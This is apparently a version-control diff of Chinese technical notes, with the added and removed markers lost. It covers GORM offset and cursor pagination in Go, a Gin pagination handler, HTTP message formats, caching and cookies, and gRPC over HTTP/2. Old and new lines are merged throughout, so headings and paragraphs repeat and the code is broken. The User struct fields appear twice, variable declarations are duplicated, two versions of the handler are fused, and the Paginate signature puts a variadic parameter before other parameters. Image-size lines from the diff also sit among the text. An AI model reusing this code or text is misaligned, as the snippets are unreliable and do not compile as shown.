A2["OFFSET 100 → 跳过 100 行<br/>响应 ~8ms ✓"]
end
subgraph Deep["深页(第 100+ 页)"]
B1["OFFSET 1000 → 跳过 1000 行<br/>响应 ~30ms ⚠️"]
B2["OFFSET 100000 → 跳过 10万行<br/>响应 ~500ms ✗"]
end
Shallow -.->|数据量增大| Deep
style Shallow fill:#4FC08D,color:#fff
style Deep fill:#EF4444,color:#fff
style A1 fill:#A0AEC0,color:#fff
style A2 fill:#A0AEC0,color:#fff
style B1 fill:#FED7AA,color:#000
style B2 fill:#FCA5A5,color:#000
```
**底层原理**:`LIMIT 10 OFFSET 100000` 对数据库来说,需要先读取前 100010 行、扔掉前 100000 行、最后返回剩余的 10 行。数据量越大、跳过的行越多,浪费的 CPU 和 IO 就越多。
## 游标分页(Keyset Pagination)
传统的 `LIMIT/OFFSET` 分页在深页性能急剧下降。游标分页通过「记住上一页最后一条记录的位置」来实现 O(log n) 的跳转:
```go
type User struct {
ID uint
Name string
Age int
CreatedAt time.Time
ID uint
Name string
Age int
CreatedAt time.Time
}
// 第一页:没有 cursor,直接取前 N 条
@@ -155,16 +198,20 @@ if cursor != 0 {
q = q.Where("id > ?", cursor)
}
err := q.Find(&users).Error
hasNextPage := false
if err := q.Find(&users).Error; err != nil {
// handle error
}
if len(users) > perPage {
hasNextPage = true
hasNextPage := len(users) > perPage
if hasNextPage {
users = users[:perPage] // 去掉多余的「探测」记录
cursor = users[len(users)-1].ID // 提取新的 cursor
}
```
> [!tip] "多取 1 条"探测下一页的原理
> `Limit(perPage + 1)` 的核心技巧:如果拿到的结果超过 `perPage`,说明还有下一页。多余的 1 条被丢弃,同时它的 ID 成为下一页的 cursor。只需一次查询就能拿到数据和翻页信息。
> [!tip] 游标分页的优点
> - **速度恒定**:无论翻到哪页,都是查紧邻的下一段数据
> - **不会漏数据**:传统分页在插入新记录时可能漏掉;游标分页每次从明确位置继续
@@ -172,9 +219,62 @@ if len(users) > perPage {
>
> **缺点**:不能跳页(不能说「直接看第 100 页」),适合列表类滚动加载场景。
### 多字段排序下的游标分页
单字段主键是最简单的游标场景,但实际项目中排序往往涉及多个字段。例如按「状态优先、创建时间倒序」展示订单,cursor 就需要携带多个条件:
```go
// 排序规则:status ASC(未处理在前),created_at DESC(最新的在前)
type Order struct {
ID uint
Status string
CreatedAt time.Time
}
type Cursor struct {
Status string
CreatedAt time.Time
}
// 上一页最后一条:Status="pending", CreatedAt="2026-05-01 10:30:00"
prev := Cursor{Status: "pending", CreatedAt: time.Date(2026, 5, 1, 10, 30, 0, 0, time.UTC)}
perPage := 20
var orders []Order
q := db.Model(&Order{}).
Order("status ASC, created_at DESC").
Limit(perPage + 1)
// 第一组:status < prev.Status(更早的状态排在前面)
// 第二组:status == prev.Status 且 created_at < prev.CreatedAt(同一状态下更晚的排前面)
q = q.Where(
"(status < ?) OR (status = ? AND created_at < ?)",
prev.Status, prev.Status, prev.CreatedAt,
)
err := q.Find(&orders).Error
if err != nil {
// handle error
}
hasNextPage := len(orders) > perPage
if hasNextPage {
orders = orders[:perPage]
last := orders[len(orders)-1]
nextCursor = Cursor{Status: last.Status, CreatedAt: last.CreatedAt}
}
```
> [!warning] 多字段游标的核心原则
> - 排序条件的**顺序必须严格一致**——`WHERE` 中的比较逻辑要和 `ORDER BY` 一一对应
> - **ASC 用 `<` / `>`,DESC 反过来**。上面示例中 `created_at DESC` 所以用了 `<`:因为倒序排列时「旧的」在后面,下一页要比上一页更旧
> - 当主键(或唯一索引)已经能覆盖排序时,只需在 cursor 中传主键即可,无需额外字段
> - cursor 值建议通过 URL-safe Base64 序列化后传给前端,防止篡改和泄露内部 ID
## 完整分页辅助函数
实际项目中建议封装通用的分页工具:
实际项目中,每次都要手写 `Count + Limit + Offset` 既冗长又容易出错。利用 Go 1.18+ 的**泛型**,可以写一个类型安全的通用分页函数:
```go
type PageResult struct {
@@ -193,7 +293,7 @@ func Paginate[T any](db *gorm.DB, where any, args ...any, order string, page, pa
}
var total int64
q := db.Model(new(T))
q := db.Model(new(T)) // 通过泛型自动获取模型,无需手动传类型
if where != nil {
q = q.Where(where, args...)
}
@@ -216,36 +316,63 @@ func Paginate[T any](db *gorm.DB, where any, args ...any, order string, page, pa
}, nil
}
// 无过滤条件
// 无过滤条件:查全部用户,按创建时间倒序
result, err := Paginate[User](db, nil, "created_at DESC", page, 20)
// 参数化条件查询
// 参数化条件查询:只查活跃用户
result, err := Paginate[User](db, "status = ?", "active", "created_at DESC", page, 20)
// 结构体条件(GORM 自动处理字段名)
result, err := Paginate[User](db, User{Status: "active"}, "created_at DESC", page, 20)
```
> [!note] 泛型分页函数设计要点
>
> | 设计点 | 说明 |
> |--------|------|
> | `T any` 泛型 | 调用方指定模型类型,返回值类型安全,IDE 自动补全 |
> | `where any + args ...any` | 同时支持字符串条件、map 和结构体三种 GORM 写法 |
> | `pageSize > 100` 上限 | 防止前端传一个极大的 `page_size` 导致内存溢出 |
> | `Count + Find` 两次查询 | 标准分页模式;极端性能场景可只用游标分页省去 Count |
## HTTP Handler 中的分页
在实际项目中,分页参数通常来自 URL query string。以 Gin 框架为例:
在实际项目中,分页参数通常来自 URL query string。以 Gin 框架为例,一个健壮的分页 Handler 应该同时做好**参数校验**和**白名单过滤**:
```go
func ListUsers(c *gin.Context) {
page, _ := strconv.Atoi(c.DefaultQuery("page", "1"))
pageSize, _ := strconv.Atoi(c.DefaultQuery("page_size", "20"))
// 排序字段白名单 — 建议抽到配置文件中统一管理
var allowedOrders = map[string]string{
"created_at": "created_at DESC",
"updated_at": "updated_at DESC",
"name": "name ASC",
"age": "age ASC",
}
// 白名单校验排序字段
order := "created_at DESC"
if field := c.Query("order_by"); field != "" {
if allowedOrder[field] {
order = field + " DESC"
func ListUsers(c *gin.Context) {
page, err := strconv.Atoi(c.DefaultQuery("page", "1"))
if err != nil || page < 1 {
c.JSON(400, gin.H{"error": "invalid page"})
return
}
pageSize, err := strconv.Atoi(c.DefaultQuery("page_size", "20"))
if err != nil || pageSize < 1 || pageSize > 100 {
pageSize = 20 // 超限则回退到默认值
}
// 从白名单取完整的排序表达式(含方向)
order := "created_at DESC" // 默认排序
if orderBy := c.Query("order_by"); orderBy != "" {
if expr, ok := allowedOrders[orderBy]; ok {
order = expr
}
}
result, err := Paginate[User](c.MustGet("db").(*gorm.DB), nil, order, page, pageSize)
db := c.MustGet("db").(*gorm.DB)
result, err := Paginate[User](db, nil, order, page, pageSize)
if err != nil {
c.JSON(500, gin.H{"error": err.Error()})
log.Printf("paginate failed: %v", err)
c.JSON(500, gin.H{"error": "internal error"})
return
}
@@ -258,6 +385,8 @@ func ListUsers(c *gin.Context) {
> - `page`:页码(从 1 开始)
> - `page_size`:每页条数
> - `order_by`:排序字段(配合后端白名单)
>
> **约定优于配置**:全项目统一一套参数名可以避免前后端沟通成本,也方便封装通用中间件。
## DefaultPageSize 配置
@@ -0,0 +1,444 @@
# HTTP 协议概述
# 1. HTTP 协议概述
## 1.1 定义与历史背景
HTTP(Hypertext Transfer Protocol)是一种用于从网络传输超文本到本地浏览器的传输协议,是互联网上应用最为广泛的协议之一。它定义了客户端与服务器之间请求和响应的格式。
![[Pasted image 20260518145835.png]]
![[Pasted image 20260518145842.png]]
## HTTP 协议的主要特点
HTTP 协议具有以下主要特点:
- **简单性**:协议格式简单,易于实现和理解。
- **无状态性**:服务器不会保存关于客户端请求的任何信息,每个请求都是独立的(**注意:理解这个非常重要**)。但是服务端会存储和客户端相关的信息,比如 cookie。
- **可扩展性**:通过定义新的 HTTP 方法和头部,可以不断扩展协议的功能。
- **应用层协议**:HTTP 运行在 TCP/IP 协议栈的应用层,使用明文传输数据,因此易于调试。
## 请求方法 method
HTTP 协议定义了多种请求方法,用于不同的操作:
- **GET**:请求获取资源。
- **POST**:提交数据到服务器,常用于表单提交。
- **PUT**:更新服务器上的资源。
- **DELETE**:删除服务器上的资源。
- **HEAD**:请求获取资源的元数据。
- **OPTIONS**:查询服务器支持的 HTTP 方法。
# HTTP 消息格式
## http url的组成
http url 的组成:
例如:[http://www.example.com:80/index.html?name=gopher#section1](http://www.example.com/index.html?name=gopher#section1)
`协议:` http
`域名:` [www.example.com](http://www.example.com/)
`端口:` 80
`路径:` /index.html
`查询参数:` name=gopher
`锚点:` #section1
> 思考
> 服务器会收到锚点吗?锚点用来做什么?
> 服务器会收到查询参数吗?查询参数用来做什么?
> 服务器会收到路径吗?路径用来做什么?
## 请求消息
![[Pasted image 20260518145921.png]]
请求消息是客户端发送给服务器的 HTTP 消息,它由请求行、请求头部、空行和请求体四个部分组成。
- **请求行**:包含 HTTP 方法、请求的资源路径和 HTTP 版本。例如:`GET /index.html HTTP/1.1`
- **请求头部**:包含请求的附加信息,如`Host`、`User-Agent`、`Accept`等字段。
- `Host`:请求的服务器地址,如`www.example.com`
- `User-Agent`:发起请求的浏览器或客户端信息
- `Accept`:客户端能够接收的媒体类型
- **空行**:请求头部和请求体之间的分隔符,通常是一个回车符和一个换行符。
- **请求体**:可选部分(GET 请求没有请求体),包含发送给服务器的数据,如表单提交的数据。
![[Pasted image 20260518145931.png]]
> 注意:请求行和请求头部的区别。
> content-length 是请求头部的字段,表示请求体的长度。
以下是一个 GET 示例:
shell复制代码
```shell
GET /index.html HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
```
以下是一个 POST 示例:
shell复制代码
```shell
POST /api/user HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Content-Type: application/json
{
"name": "张三",
"age": 18
}
```
> 注意:body 其实是二进制数据,服务端需要根据 content-type 进行解析。
> 理解 content-type 和 body 的关系非常重要。当前这个案例,是告诉服务器,请求体是一个 json 对象。因此,服务端先要把二进制数据转换为字符串,然后根据 content-type 进行解析。
![[Pasted image 20260518150018.png]]
![[Pasted image 20260518151950.png]]
## HTTP与TCP/IP,DNS
![[Pasted image 20260518152001.png]]
## 响应消息
响应消息是服务器返回给客户端的 HTTP 消息,它由状态行、响应头部、空行和响应体四个部分组成。
- **状态行**:包含 HTTP 版本、状态码和状态信息。例如:`HTTP/1.1 200 OK`
- **响应头部**:包含响应的附加信息,如`Content-Type`、`Content-Length`、`Set-Cookie`等字段。
- `Content-Type`:响应体的媒体类型,如`text/html`
- `Content-Length`:响应体的长度
- `Set-Cookie`:设置客户端的 Cookie
- **空行**:响应头部和响应体之间的分隔符。
- **响应体**:服务器返回的数据,如 HTML 页面、图片、JSON 数据等。
### 示例
复制代码
```
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
Content-Length: 1024
Set-Cookie: session_id=abc123; Path=/
<!DOCTYPE html>
<html>
<head>
<title>Example Page</title>
</head>
<body>
<h1>Welcome to Example.com</h1>
<p>This is an example page.</p>
</body>
</html>
```
> 同样,和请求消息一样,响应消息也是二进制数据,客户端(主要指浏览器)需要根据 content-type 进行解析。
> 实操:使用 chrome 浏览器,打开开发者工具,查看网络请求,可以看到请求和响应的消息。或者使用 whistle 等代理工具.同时,可以复制请求为 curl 命令。
### 使用 curl 或者 postman 发送 http 请求
shell复制代码
```shell
# -X 指定请求方法
curl -X GET http://www.baidu.com
# -d 指定请求体
curl -X POST http://www.baidu.com -d "name=gopher"
# -I 只显示响应头
curl -I http://www.baidu.com
# -v 显示详细信息
curl -v http://www.baidu.com
# -H 指定请求头
curl -H "Content-Type: application/json" http://www.baidu.com -d '{"name": "gopher"}'
```
在浏览器的控制台,Network列表中,在“请求”中 **右键Copy请求** 的内容:
![[Pasted image 20260518152048.png]]
然后在终端模拟请求发送:
![[Pasted image 20260518152059.png|897]]
### 代理工具使用
[代理工具使用](https://campus.wps.cn/contentpreview/f4876c64-57d4-4641-baf6-939db1886870)
# 状态码
## 状态码分类
HTTP 状态码用于表示服务器对请求的处理结果:
- **1xx**:信息性状态码,表示请求已接收,继续处理。
- **2xx**:成功状态码,表示请求已成功处理。
- **3xx**:重定向状态码,表示需要进一步操作以完成请求。注意 301 与 302 的区别。
- **4xx**:客户端错误状态码,表示请求包含错误。
- **5xx**:服务器错误状态码,表示服务器处理请求出错。
![[Pasted image 20260518152142.png]]
> 注意:上图也是正常的。
## HTTP 缓存
HTTP 缓存是性能优化中的一个重要概念,它通过减少服务器请求次数来加快页面加载速度。以下是一份详细的 HTTP 缓存教程,包括原理、分类、设置方法和示例。
HTTP 缓存基于 HTTP 协议的头部信息来控制数据的存储和验证。主要分为两种类型:强制缓存和协商缓存。
### 强制缓存
- **Expires**: HTTP/1.0 中使用,设置资源的过期时间。如果时间未到,直接使用缓存,不与服务器通信。
- **Cache-Control**: HTTP/1.1 中使用,提供了更多的控制选项,如`max-age`、`no-store`、`no-cache`等。
### 协商缓存
协商缓存是一种服务器与客户端协商后决定是否使用缓存的机制。当浏览器对某个资源的请求没有命中强制缓存时,会发送请求到服务器,服务器根据请求头中的条件判断是否使用缓存。
### 什么是协商缓存?
想象一下:
- 小明每天都要查看一个网站的最新内容
- 这个网站的内容并不是每时每刻都在更新
- 如果每次访问都重新下载完整内容,会浪费带宽和时间
- 那么如何既能获取最新内容,又能节省资源呢?
这就是协商缓存要解决的问题。它允许浏览器和服务器"商量"一下资源是否发生了变化,如果没变化,就直接使用本地缓存。
### 协商缓存的工作流程
1. 浏览器发起请求,携带上次响应中的某些特殊头部信息
2. 服务器根据这些信息判断资源是否有变化
3. 如果资源没有变化,返回 304 状态码,不返回资源内容
4. 如果资源有变化,返回 200 状态码和完整的资源内容
### 与协商缓存相关的 HTTP 头部
**Last-Modified/If-Modified-Since**
这对头部基于资源的最后修改时间进行协商:
- **Last-Modified**:服务器在响应中添加,表示资源的最后修改时间
- **If-Modified-Since**:客户端在后续请求中携带,值为上次收到的 Last-Modified 值
http复制代码
```http
# 服务器响应
HTTP/1.1 200 OK
Last-Modified: Wed, 21 Oct 2023 07:28:00 GMT
Content-Type: text/html
```
**ETag/If-None-Match**
这对头部基于资源内容的唯一标识符进行协商:
- **ETag**:服务器在响应中添加,是资源内容的唯一标识(通常是内容的哈希值)
- **If-None-Match**:客户端在后续请求中携带,值为上次收到的 ETag 值
http复制代码
```http
# 服务器响应
HTTP/1.1 200 OK
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Content-Type: text/html
```
### Last-Modified 与 ETag 的对比
|特性|Last-Modified|ETag|
|---|---|---|
|精确度|秒级,无法识别 1 秒内多次修改|基于内容,可以精确识别任何变化|
|性能开销|较小,只需记录时间|较大,需要计算内容哈希值|
|应对场景|适合内容变化较慢的资源|适合内容频繁变化或需要精确控制缓存的资源|
|应对特殊情况|无法处理资源周期性变化但内容不变的情况|可以应对时间变化但内容不变的情况|
### 304 状态码
当服务器收到带有条件请求头的请求,判断资源未发生变化时,会返回 304 Not Modified 状态码:
http复制代码
```http
HTTP/1.1 304 Not Modified
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Cache-Control: max-age=0, must-revalidate
Date: Thu, 22 Oct 2023 07:28:00 GMT
```
### 实际应用建议
1. 对于不经常变化的静态资源(如 logo、库文件等),使用强制缓存。前端资源一般带 hash,hash 是根据内容生成的,内容不变,hash 不变。
2. 对于可能变化的资源(如 HTML、API 数据等),使用协商缓存
3. 对于 ETag 和 Last-Modified,优先使用 ETag,因为它更精确
4. 在实际项目中,通常两种缓存机制结合使用
# Cookie 与 Session
## Cookie
Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据,它会在浏览器下次向同一服务器再发起请求时被携带并发送到服务器上。
![[Pasted image 20260518145617.png]]
### Cookie 的特点
- **客户端存储**:Cookie 存储在用户的浏览器中,而不是服务器上
- **容量限制**:单个 Cookie 的大小通常不超过 4KB
- **数量限制**:每个域名下的 Cookie 数量有限制(通常为 20-50 个)
- **有效期**:可以设置过期时间,也可以是会话期 Cookie(关闭浏览器即失效)
- **域名限制**:只能被特定域名的页面访问
### Cookie 的常用属性
Cookie 有以下几个重要属性:
- **name/value**:Cookie 的名称和值
- **domain**:指定 Cookie 对于哪个域是有效的
- **path**:指定 Cookie 在哪个路径下有效
- **expires/max-age**:设置 Cookie 的过期时间
- **secure**:只在 HTTPS 连接中传输 Cookie
- **httpOnly**:防止 JavaScript 访问 Cookie,只能通过 HTTP 请求携带
- **sameSite**:控制 Cookie 在跨站请求时是否被发送
### 设置与获取 Cookie
服务端通过设置响应头 `Set-Cookie` 来创建 Cookie:
```http
HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: username=张三; expires=Wed, 21 Oct 2023 07:28:00 GMT; path=/; domain=example.com
Set-Cookie: sessionId=abc123; HttpOnly; Secure
```
浏览器发送请求时会自动在请求头中携带 Cookie:
```http
GET /index.html HTTP/1.1
Host: www.example.com
Cookie: username=张三; sessionId=abc123
```
### Cookie 的应用场景
1. **用户认证**:存储登录状态和用户标识
2. **个性化设置**:保存用户偏好,如网站主题、字体大小等
3. **追踪与分析**:记录用户行为,如购物车、浏览历史等
4. **广告定向投放**:基于用户兴趣的广告推送
## Session
Session 是在服务端保持的一个状态,用来跟踪用户状态的机制,可以理解为服务器端的"会话"。
### Session 的工作原理
1. 用户首次访问服务器时,服务器创建一个 Session 并生成一个唯一的 Session ID
2. 服务器将 Session ID 通过 Cookie 发送给浏览器
3. 浏览器后续的请求会携带这个 Session ID
4. 服务器通过 Session ID 识别用户并检索对应的 Session 数据
### Session 的特点
- **服务端存储**:Session 数据存储在服务器端,不存在客户端容量限制
- **安全性更高**:敏感数据保存在服务器,不暴露给客户端
- **存储方式多样**:可以存储在内存、文件系统、数据库或分布式缓存中
- **有效期**:通常有超时机制,一段时间不活动后自动失效
- **依赖标识符**:通常依赖 Cookie 中的 Session ID 来识别用户
### Session 的实现方式
服务端创建 Session 并通过 Cookie 传递 Session ID:
go复制代码
```go
// Go语言的简单Session实现示例
func handleLogin(w http.ResponseWriter, r *http.Request) {
// 验证用户身份
username := r.FormValue("username")
password := r.FormValue("password")
if authenticateUser(username, password) {
// 创建Session
sessionID := generateSessionID()
sessions[sessionID] = &Session{
UserID: getUserID(username),
Username: username,
Created: time.Now(),
}
// 设置Cookie
cookie := &http.Cookie{
Name: "sessionid",
Value: sessionID,
Path: "/",
HttpOnly: true,
MaxAge: 3600, // 1小时
}
http.SetCookie(w, cookie)
// 重定向到用户页面
http.Redirect(w, r, "/user", http.StatusFound)
} else {
http.Error(w, "Invalid credentials", http.StatusUnauthorized)
}
}
```
### Cookie 与 Session 的区别
|特性|Cookie|Session|
|---|---|---|
|存储位置|客户端(浏览器)|服务端|
|安全性|较低,可被客户端查看和修改|较高,数据存储在服务器|
|存储容量|有限制(通常 4KB 以内)|理论上无限制|
|生命周期|可长期保存|通常随会话结束而清除|
|对服务器负担|较小|较大|
|跨域支持|有限制|默认不支持跨域|
### 安全最佳实践
1. **使用 HttpOnly 标志**:防止 JavaScript 访问 Cookie,减少 XSS 攻击风险
2. **使用 Secure 标志**:确保 Cookie 只通过 HTTPS 传输
3. **设置合理的过期时间**:减少 Cookie 被盗用的风险
4. **加密敏感数据**:不在 Cookie 中存储明文的敏感信息
5. **使用 SameSite 属性**:防止 CSRF 攻击
6. **定期更新 Session ID**:尤其是在用户权限变更后
# 关于RESTFUL
扩展阅读:[阮一峰:RESTful API 设计指南](https://www.ruanyifeng.com/blog/2014/05/restful_api.html)
> 注意: 有的服务的 API 并不是基于 RESTFUL 风格,只有 GET/POST,这是正常的。
> 例如:删除用户 `POST /api/deleteuser`,而不是 `DELETE /api/user/123`
> 基于老项目开发新接口,如果老项目是基于 RESTFUL 风格,那么新接口也尽量保持一致。
# 其它需要了解的
- 什么是长连接,一般用于什么场景?
- websocket 是基于 http 协议的吗?主要用于什么场景?
- 什么是 auth2.0,主要用于什么场景?
- 什么是 JWT,主要用于什么场景?
- http 鉴权方案有哪些?
# 其它需要了解的
- 什么是长连接,一般用于什么场景?
- websocket 是基于 http 协议的吗?主要用于什么场景?
- 什么是 auth2.0,主要用于什么场景?
- 什么是 JWT,主要用于什么场景?
- http 鉴权方案有哪些?
File diff suppressed because it is too large Load Diff

Before

Width:  |  Height:  |  Size: 961 KiB

After

Width:  |  Height:  |  Size: 961 KiB

Before

Width:  |  Height:  |  Size: 1.9 MiB

After

Width:  |  Height:  |  Size: 1.9 MiB

Before

Width:  |  Height:  |  Size: 1.8 MiB

After

Width:  |  Height:  |  Size: 1.8 MiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 2.0 MiB

After

Width:  |  Height:  |  Size: 2.0 MiB

Before

Width:  |  Height:  |  Size: 1.9 MiB

After

Width:  |  Height:  |  Size: 1.9 MiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 1.9 MiB

After

Width:  |  Height:  |  Size: 1.9 MiB

Before

Width:  |  Height:  |  Size: 1.9 MiB

After

Width:  |  Height:  |  Size: 1.9 MiB

Before

Width:  |  Height:  |  Size: 1.8 MiB

After

Width:  |  Height:  |  Size: 1.8 MiB

Before

Width:  |  Height:  |  Size: 1.8 MiB

After

Width:  |  Height:  |  Size: 1.8 MiB

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 1014 KiB

After

Width:  |  Height:  |  Size: 1014 KiB

Before

Width:  |  Height:  |  Size: 1.1 MiB

After

Width:  |  Height:  |  Size: 1.1 MiB

Before

Width:  |  Height:  |  Size: 1.8 MiB

After

Width:  |  Height:  |  Size: 1.8 MiB

Before

Width:  |  Height:  |  Size: 1.7 MiB

After

Width:  |  Height:  |  Size: 1.7 MiB

Before

Width:  |  Height:  |  Size: 1.0 MiB

After

Width:  |  Height:  |  Size: 1.0 MiB

Before

Width:  |  Height:  |  Size: 1.2 MiB

After

Width:  |  Height:  |  Size: 1.2 MiB

Before

Width:  |  Height:  |  Size: 1.0 MiB

After

Width:  |  Height:  |  Size: 1.0 MiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 30 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 354 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 92 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 31 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 111 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 178 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 97 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 616 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 759 KiB

Binary file not shown.

After

Width:  |  Height:  |  Size: 344 KiB

@@ -1,297 +1,274 @@
---
tags: [gRPC, HTTP/2, Protocol, Go, Networking]
create time: 2026-05-11 16:42
update time: 2026-05-18
---
# HTTP/2 传输原理
## 概述
gRPC 跑在 HTTP/2 之上,这意味着你天然享受 HTTP/2 带来的所有性能红利:多路复用、头部压缩、服务器推送。但也带来了一些新的心智负担——原来用 TCP 协议栈就能搞定的事,现在又多了一层帧(frame)和流(stream)的概念。理解底层原理才能调试那些"偶发性超时""连接无故断开"的问题。
gRPC 跑在 HTTP/2 之上。这意味着两个结果:一是你**免费获得**了 HTTP/2 带来的所有性能红利——多路复用、头部压缩;二是你要接受一层新的抽象,理解 frame(帧)和 stream(流)的概念才能调试那些"偶发性超时""连接无故断开"的问题。
> [!question] 为什么 gRPC 不用 HTTP/1.1?
> HTTP/1.1 的串行阻塞模型在面对高并发微服务时效率太低——每增加一个并发都要付出一次 TCP 握手开销。而 HTTP/2 在一个 TCP 连接上就能搞定任意数量的并发请求。但代价是你得适应全新的二进制协议层。
### 先建立直觉:数据是怎么层层包装的?
> [!tip] 先搞清楚这层关系
> ```
> 应用层:Protobuf 消息 → 序列化为字节流
> gRPC 层:把字节流包装成 request/response/stream
> HTTP/2 层:把 gRPC 数据切分成 frame, multiplex 到 stream 上
> TCP 层:可靠的字节流传输
> ```
> gRPC = Protobuf wire format + HTTP/2 transport + gRPC semantics
把一次 gRPC 请求想象成寄快递:
## HTTP/2 vs HTTP/1.1 对比
| 层级 | 类比 | 它的作用 |
|------|------|----------|
| **Protobuf** | 你要寄的物品 | 定义数据的格式。比如一个 User 对象:名字、年龄、邮箱 |
| **gRPC** | 快递员 + 运单号 | 把物品打包,贴上一个"信封"(metadata),告诉收件方这是什么类型的请求 |
| **HTTP/2 Frame** | 纸箱上的标签 | 把每个信封切成小箱子,贴上标签(类型、长度、属于哪个流) |
| **Stream** | 快递站的分拣通道 | 一条逻辑通道上跑一个完整的请求-响应周期 |
| **TCP** | 运送快递的卡车 | 保证每辆车安全到达,不丢包、不乱序 |
| 特性 | HTTP/1.1 | HTTP/2 |
|------|----------|--------|
| 连接数 | 每主机通常 6 个 | 任意数量 |
| 传输格式 | 纯文本 | 二进制 |
| 多路复用 | ❌ (head-of-line blocking) | ✅ |
| 头部压缩 | ❌ | ✅ HPACK |
| 服务器推送 | ❌ | ✅ PushPromise |
| 头部顺序 | 明文逐行发送 | header block fragments |
这四层的关系是:**内层的数据被外层包裹**。发送时从内到外逐层封装,接收时从外到内逐层拆解:
**核心差异一句话:**HTTP/2 将一切变成了二进制帧(frame),用帧的组合来表达请求、响应和元数据。
> [!note] 为什么二进制更好?
> 纯文本协议(如 HTTP/1.1)需要靠 `\r\n` 分隔,解析容易出错且浪费带宽。二进制协议用 length + type 字段精确定位每个单元,解析更快也更健壮。代价是——你不能再直接用浏览器看明文了,必须用专门的抓包工具。
## HTTP/2 连接建立过程
### Connection Preface(连接前置声明)
HTTP/2 要求在真正的数据交换之前,双方先发一段 "preface" 来确认对方支持 HTTP/2:
```go
// Client Preface(客户端必须首先发送,固定字符串)
// PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n
// SETTINGS frame (length = 0)
// Server Preface(服务端确认后回复同样长度的 SETTINGS frame)
// SETTINGS frame (length = 0)
```
你调用 client.GetUser(request)
→ Protobuf 把你的 request 序列化成字节 (装箱)
→ gRPC 加上 metadata(超时时间、认证信息等) (贴运单)
→ HTTP/2 把数据切分成 frame,打上 Stream ID (贴标签)
→ TCP 可靠地发送到对方
```
这不是什么代码层面的操作——gRPC 客户端内部自动处理。但你可以在 Wireshark 中看到这个 handshake 过程:Client 发 `PRI * HTTP/2.0`,Server 回复 `SETTINGS ACK`,然后双方才开始交换业务数据。
回到最初的问题——**为什么 gRPC 选择 HTTP/2?**
HTTP/1.1 下,每个请求都要走一次 TCP 连接(三次握手)。高并发场景下光握手就耗死了。
HTTP/2 用**一条 TCP 连接承载任意数量的并发请求**,这就是多路复用(multiplexing)。代价是你得理解这一套全新的二进制协议层。
---
## 连接怎么建立的?
每次发起 RPC 调用前,客户端和服务端必须先"打招呼"。分三步完成:
### 第一步:建路 — TCP 握手
就是普通的 TCP 三次握手,不再展开。如果这步失败了,你会看到 `connection refused` 或 `connect timeout`。
### 第二步:对暗号 — TLS + ALPN
如果用的是 HTTPS(生产环境标配),还要过 TLS 加密这一步。关键在这里:
TLS 握手的 `ClientHello` 消息里,客户端会声明自己支持的协议:
> "我会 h2(HTTP/2)和 http/1.1,你选一个吧。"
服务端回复 `ServerHello`,选定一个协议:
> "好,我们走 h2。"
这个机制叫 **ALPN(Application-Layer Protocol Negotiation)**。就像两个人见面先用英语打招呼——如果说不到一块儿去(协商失败),整条连接就不能走 HTTP/2。
### 第三步:确认身份 — HTTP/2 Preface
双方都确定要用 HTTP/2 后,还要互发一段固定格式的字符串来最终确认:
- **客户端**先发一段固定文本 `PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n` 和一个空的 SETTINGS 帧
- **服务端**收到后,回复一个 ACK 和它自己的 SETTINGS
至此握手完成,可以开始收发业务数据了。
> [!warning] 常见坑
> 某些老旧代理(如旧版 Squid / Nginx < 1.3.10)不支持 ALPN 或不认 Preface,会导致 HTTP/2 降级为 HTTP/1.1。遇到偶发的 "connection reset" 时可以检查一下中间件版本。
> 一些老旧代理(旧版 Nginx < 1.3.10、旧版 Squid)不支持 ALPN 或不认 Preface,会导致 HTTP/2 偷偷降级为 HTTP/1.1。遇到"偶发的连接断开"时可以检查中间件版本。
### TLS Handshake + ALPN
如果是 HTTPS 连接(gRPC 生产环境的标配),完整的握手流程是:
```mermaid
sequenceDiagram
participant C as Client
participant T as TCP/TLS
participant S as Server
Note over C,S: Step 1 — TCP 三次握手
C->>T: SYN
T->>S: SYN-ACK
S->>C: ACK
Note over C,T: Step 2 — TLS 1.3 握手
C->>T: ClientHello (ALPN: h2)
T->>S: ServerHello (selected: h2)
S->>C: finished
Note over C,S: Step 3 — HTTP/2 Preface
C->>S: ClientPreface + SETTINGS
S->>C: SETTINGS ACK + ServerSettings
Note over C,S: Step 4 — 开始 multiplexing
C->>S: HEADERS + DATA (Stream 1)
C->>S: HEADERS + DATA (Stream 3)
S->>C: HEADERS + DATA (Stream 2)
```
关键点是 **ALPN(Application-Layer Protocol Negotiation)**:TLS 握手的 `ClientHello` 中会附带支持的协议列表(`h2` / `http/1.1`),服务端从中选择一个并在 `ServerHello` 中返回。如果协商失败,就不会走 HTTP/2。
## HTTP/2 帧(Frame)详解
gRPC 的数据以 frame 为单位在连接上传输。每种 frame 有特定的类型码和控制语义:
| Frame | Type Code | 作用 | gRPC 中的场景 |
|-------|-----------|------|---------------|
| DATA | 0x0 | 实际载荷 | Request / Response body |
